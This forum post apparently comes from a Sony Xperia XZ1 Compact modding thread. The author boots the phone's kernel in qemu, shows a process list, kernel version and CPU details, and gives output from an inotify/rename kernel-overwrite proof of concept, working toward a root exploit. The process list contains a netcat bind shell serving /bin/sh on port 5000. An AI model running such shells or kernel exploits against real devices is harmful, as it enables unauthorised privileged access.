[Sony Xperia XZ1 Compact ROMs, Kernels, Recoveries,] j4nn:
Here few linux commands from linux shell under that kernel in qemu:

ps
PID USER COMMAND
1 0 init
2 0 [kthreadd]
3 0 [ksoftirqd/0]
4 0 [kworker/0:0]
5 0 [kworker/0:0H]
6 0 [kworker/u4:0]
7 0 [rcu_preempt]
8 0 [rcu_sched]
9 0 [rcu_bh]
10 0 [rcuop/0]
11 0 [rcuos/0]
12 0 [rcuob/0]
13 0 [rcuc/0]
14 0 [rcub/0]
15 0 [migration/0]
16 0 [migration/1]
17 0 [rcuc/1]
18 0 [ksoftirqd/1]
19 0 [kworker/1:0]
20 0 [kworker/1:0H]
21 0 [rcuop/1]
22 0 [rcuos/1]
23 0 [rcuob/1]
24 0 [netns]
25 0 [perf]
26 0 [smd_channel_clo]
27 0 [dsps_smd_trans_]
28 0 [lpass_smd_trans]
29 0 [mpss_smd_trans_]
30 0 [wcnss_smd_trans]
31 0 [rpm_smd_trans_g]
32 0 [ipa_usb_wq]
33 0 [deferwq]
34 0 [kworker/u4:1]
35 0 [writeback]
36 0 [kcompactd0]
37 0 [crypto]
38 0 [bioset]
39 0 [kblockd]
40 0 [md]
41 0 [devfreq_wq]
42 0 [governor_msm_ad]
43 0 [kworker/1:1]
44 0 [cfg80211]
45 0 [kworker/0:1]
71 0 [power_off_alarm]
72 0 [kswapd0]
73 0 [vmstat]
74 0 [fsnotify_mark]
75 0 [ecryptfs-kthrea]
107 0 [glink_ssr_wq]
108 0 [glink_lbsrv]
109 0 [glink_xprt_wq]
110 0 [apr_driver]
111 0 [glink_pkt_wq]
113 0 [diag_real_time_]
114 0 [diag_wq]
115 0 [DIAG_USB_diag]
116 0 [diag_cntl_wq]
117 0 [diag_dci_wq]
118 0 [DIAG_SMD_MODEM_]
119 0 [DIAG_SMD_MODEM_]
120 0 [DIAG_SMD_MODEM_]
121 0 [DIAG_SMD_MODEM_]
122 0 [DIAG_SMD_MODEM_]
123 0 [DIAG_SMD_LPASS_]
124 0 [DIAG_SMD_LPASS_]
125 0 [DIAG_SMD_LPASS_]
126 0 [DIAG_SMD_LPASS_]
127 0 [DIAG_SMD_LPASS_]
128 0 [DIAG_SMD_WCNSS_]
129 0 [DIAG_SMD_WCNSS_]
130 0 [DIAG_SMD_WCNSS_]
131 0 [DIAG_SMD_WCNSS_]
132 0 [DIAG_SMD_WCNSS_]
133 0 [DIAG_SMD_SENSOR]
134 0 [DIAG_SMD_SENSOR]
135 0 [DIAG_SMD_SENSOR]
136 0 [DIAG_SMD_SENSOR]
137 0 [DIAG_SMD_SENSOR]
138 0 [DIAG_SMD_DIAG_C]
139 0 [DIAG_SMD_DIAG_D]
140 0 [DIAG_SMD_DIAG_C]
141 0 [DIAG_SMD_DIAG_D]
142 0 [DIAG_SMD_DIAG_D]
143 0 [DIAG_SMD_CDSP_C]
144 0 [DIAG_SMD_CDSP_D]
145 0 [DIAG_SMD_CDSP_C]
146 0 [DIAG_SMD_CDSP_D]
147 0 [DIAG_SMD_CDSP_D]
148 0 [DIAG_SOCKMODEM_]
149 0 [DIAG_SOCKMODEM_]
150 0 [DIAG_SOCKMODEM_]
151 0 [DIAG_SOCKMODEM_]
152 0 [DIAG_SOCKMODEM_]
153 0 [DIAG_SOCKLPASS_]
154 0 [DIAG_SOCKLPASS_]
155 0 [DIAG_SOCKLPASS_]
156 0 [DIAG_SOCKLPASS_]
157 0 [DIAG_SOCKLPASS_]
158 0 [DIAG_SOCKWCNSS_]
159 0 [DIAG_SOCKWCNSS_]
160 0 [DIAG_SOCKWCNSS_]
161 0 [DIAG_SOCKWCNSS_]
162 0 [DIAG_SOCKWCNSS_]
163 0 [DIAG_SOCKSENSOR]
164 0 [DIAG_SOCKSENSOR]
165 0 [DIAG_SOCKSENSOR]
166 0 [DIAG_SOCKSENSOR]
167 0 [DIAG_SOCKSENSOR]
168 0 [DIAG_SOCKDIAG_C]
169 0 [DIAG_SOCKDIAG_D]
170 0 [DIAG_SOCKDIAG_C]
171 0 [DIAG_SOCKDIAG_D]
172 0 [DIAG_SOCKDIAG_D]
173 0 [DIAG_SOCKCDSP_C]
174 0 [DIAG_SOCKCDSP_D]
175 0 [DIAG_SOCKCDSP_C]
176 0 [DIAG_SOCKCDSP_D]
177 0 [DIAG_SOCKCDSP_D]
178 0 [DIAG_CNTL_SOCKE]
179 0 [DIAG_GLINK_DIAG]
180 0 [DIAG_GLINK_DIAG]
181 0 [DIAG_GLINK_DIAG]
182 0 [DIAG_GLINK_DIAG]
183 0 [DIAG_GLINK_DIAG]
185 0 [DIAG_USB_diag_m]
186 0 [kgsl-workqueue]
187 0 [kgsl-mementry]
188 0 [kgsl_worker_thr]
189 0 [bioset]
190 0 [bioset]
191 0 [bioset]
192 0 [bioset]
193 0 [bioset]
194 0 [bioset]
195 0 [bioset]
196 0 [bioset]
197 0 [bioset]
198 0 [bioset]
199 0 [bioset]
200 0 [bioset]
201 0 [bioset]
202 0 [bioset]
203 0 [bioset]
204 0 [bioset]
205 0 [bioset]
206 0 [bioset]
207 0 [bioset]
208 0 [bioset]
209 0 [bioset]
210 0 [bioset]
211 0 [bioset]
212 0 [bioset]
213 0 [bioset]
214 0 [memory_wq]
215 0 [qcrypto_seq_res]
216 0 [bond0]
217 0 [sharedmem_qmi_w]
218 0 [qmi_hndl0000000]
219 0 [msm_ipc_router]
220 0 [uether]
221 0 [k_ipa_usb]
222 0 [dm_bufio_cache]
223 0 [binder]
224 0 [hwbinder]
225 0 [vndbinder]
226 0 [uaudio_svc]
227 0 [qmi_hndl0000000]
228 0 [ipv6_addrconf]
229 0 [kworker/u4:2]
238 0 [msm_perf:events]
239 0 [rq_stats]
340 0 nc -ll -p 5000 -e /bin/sh
341 0 /bin/sh
344 0 ps
cat /proc/version
Linux version 4.4.74-perf+ (BuildUser@BuildHost) (gcc version 4.9.x 20150123 (prerelease) (GCC) ) #1 SMP PREEMPT Wed Aug 9 16:09:57 2017
cat /proc/cpuinfo
Processor : AArch64 Processor rev 0 (aarch64)
processor : 0
BogoMIPS : 125.00
Features : fp asimd evtstrm aes pmull sha1 sha2 crc32
CPU implementer : 0x41
CPU architecture: 8
CPU variant : 0x1
CPU part : 0xd07
CPU revision : 0

processor : 1
BogoMIPS : 125.00
Features : fp asimd evtstrm aes pmull sha1 sha2 crc32
CPU implementer : 0x41
CPU architecture: 8
CPU variant : 0x1
CPU part : 0xd07
CPU revision : 0

Hardware : Qualcomm Technologies, Inc Unknown CPU

Tried also again the inotify/rename poc, this time built statically for linux:

/exploit-aarch64-linux-gnu
Listening for events.
Listening for events.
alloc_len : 50
longname="test_dir/bbbb32103210321032100��1����"
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : bbbb32103210321032100��1����, event->len : 32
handle_events() event->name : b, event->len : 16
Detected overwrite!!!
callrename done.

So it works also in qemu, running the kernel binary from the firmware (needed few binary patches to avoid hangs due to missing hw features), so this makes a very good playground for real exploit implementation - kernel offsets (after kaslr bypass) should hopefully match with the real device.

There is still a lot of work to do - anybody willing to help?